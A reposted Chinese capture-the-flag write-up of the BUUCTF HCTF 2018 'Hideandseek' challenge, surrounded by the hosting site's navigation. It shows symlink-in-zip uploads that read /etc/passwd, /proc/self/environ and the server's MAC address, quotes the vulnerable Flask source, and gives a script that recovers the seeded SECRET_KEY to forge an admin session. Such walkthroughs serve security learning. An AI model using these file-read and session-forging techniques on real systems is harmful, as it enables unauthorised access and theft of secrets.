IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> BUUCTF--[HCTF 2018]Hideandseek -> 正文阅读

[Python知识库]BUUCTF--[HCTF 2018]Hideandseek

?帐号登录后是一个上传ZIP文件

上传一个.ZIP文件后发现他会显示文件的内容

?可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,尝试是否可以读取

aliang@aliang:~/Desktop# ln -s /etc/passwd passwd
aliang@aliang:~/Desktop# zip -y passwd.zip passwd 
  adding: passwd (stored 0%)

?上传后发现可以成功读取到/etc/passwd的内容

?尝试使用admin登录,给出提示

因为这里并没有注册的步骤,所以猜测这里使用的是cookie或session来进行检测是否为admin
查看一下页面cookie信息,发现一个很想flask的session,使用jwt解密

这样方向就非常明显了,我们只需要找到加密所需的密钥,来伪造session即可
接着来尝试读取文件

/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,
用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

environ是 — 当前进程的环境变量列表,self可以替换成进程号。

读取/proc/self/environ

生成一个指向/proc/self/environ的软链接
ln -s /proc/self/environ env

压缩这个软链接生成zip压缩文件
zip -y env.zip env

上传文件读取到

HOSTNAME=98cce75cd9cb
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/uwsgi.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16
STATIC_URL=/static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.8-1~
stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~
stretchLANG=C.UTF-8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static
LAG=not_flag
uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议

接着读取文件/app/uwsgi.ini(还是上述方法,就不再赘述)

[uwsgi] 
module = main 
callable=app 
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

这里按道理来说应该是访问/app/main.py可以读取源码,这里可能是buu配置原因没有读出,借用源码

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

代码第29行,可以知道flag是藏在/app/flag.py文件里,想着是不是可以生成下软链接直接读取呢,后面测试,发现还是提示you are not admin
然后重定向到index页面,原来是第79行处,执行了一个判断,如果通过上传的zip打开的文件里面有含有hctf的话,就会重定向到index?error=1页面,所以这条路是行不通的,对应了前面分析。
所以只能通过找SECRET_KEY这个方法了,我们看到第11行 app.config['SECRET_KEY'] = str(random.random()*100)SECRET_KEY居然等于一个随机数字字符串
难道每次SECRET_KEY能不一样,后面发现,原来在这行代码之前第9行处,有一个random.seed(uuid.getnode()),设置随机数种子操作。我们知道,python random生成的数不是真正的随机数,而是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的
于是把注意力放到这里的伪随机数种子,uuid.getnode(),通过查询可以知道,这个函数可以获取网卡mac地址并转换成十进制数返回。也就是说,只要搞到服务器的网卡mac地址,就能确定种子,进而确定SECRET_KEY,那服务器网卡mac地址又怎么获得呢?
linux中一切皆文件,网卡mac地址也能在文件中找到。可以通过读/sys/class/net/eth0/address文件得到mac地址,于是构造软链接、生成zip、上传看返回结果,如下图,得到服务器mac地址为:02:42:ac:10:b4:41。然后就是把mac地址处理下,转换成10进制,然后设置成seed,生成一下SECRET_KEY。脚本如下

import uuid
import random

mac = "02:42:ac:10:b4:41"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) #结果为 20.406955917442282

?使用flask-session-cookie-manager脚本进行加密

修改完session后再次刷新即可登录到admin用户得到flag

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-08-21 15:19:48  更:2021-08-21 15:21:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 12:03:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计